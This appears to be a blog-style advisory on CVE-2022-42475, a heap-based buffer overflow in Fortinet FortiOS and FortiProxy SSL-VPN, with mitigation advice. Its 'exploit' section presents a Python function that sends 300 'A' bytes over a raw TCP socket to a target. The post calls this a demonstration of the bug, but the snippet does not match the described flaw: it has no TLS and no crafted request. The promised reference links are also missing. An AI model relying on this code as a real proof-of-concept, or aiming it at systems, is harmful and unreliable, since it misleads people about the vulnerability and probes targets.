CVE-2022-42475 - Heap-based Buffer Overflow Vulnerability in FortiOS and FortiProxy SSL-VPN Products Might Allow Remote Code Execution

A heap-based buffer overflow vulnerability, also referred to as CWE-122, has been discovered in several versions of Fortinet's FortiOS and FortiProxy SSL-VPN products. This vulnerability holds the potential to grant a remote unauthenticated attacker the ability to execute arbitrary code or commands through specifically crafted requests. This post provides detailed information about the vulnerability, including code snippets, links to original references, and specific exploit details.

Exploit Details

A remote attacker can exploit this vulnerability by sending a specifically crafted request to the affected SSL-VPN products. The attacker does not require authentication to exploit this vulnerability.

The vulnerability stems from the incorrect calculation of the size of the memory buffer required to hold incoming data. As a result, an overflow condition occurs, which may allow the attacker to overwrite parts of the memory heap with their own crafted data.

Code Snippet

Here's an example code snippet that demonstrates the vulnerability. Note that this is for educational purposes only and should not be used in real-world scenarios.

import socket

def exploit(target_ip, target_port):
    crafted_request = b"A" * 300  # Crafted data with a length that triggers the buffer overflow

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  # Create a new TCP socket object
    s.connect((target_ip, target_port))  # Establish a connection to the target

    s.send(crafted_request)  # Send the crafted request to the target
    s.close()  # Close the connection

Original References

Fortinet has published a security advisory addressing this vulnerability (CVE-2022-42475) and providing additional information on affected versions and mitigation steps. The advisory can be accessed here.

The CVE entry for this vulnerability can be found here.

Mitigation and Recommendations

Users of the affected FortiOS and FortiProxy SSL-VPN products should immediately apply the appropriate patches provided by Fortinet to address this vulnerability. The specific patches and installation instructions can be found in the Fortinet security advisory linked above.

Conclusion

The heap-based buffer overflow vulnerability (CVE-2022-42475) found in several versions of Fortinet's FortiOS and FortiProxy SSL-VPN products could allow a remote unauthenticated attacker to execute arbitrary code or commands through specifically crafted requests. Users of the affected products should immediately apply the appropriate patches and follow the recommendations to ensure the security of their systems.

Timeline

Published on: 01/02/2023 09:15:00 UTC
Last modified on: 01/09/2023 17:30:00 UTC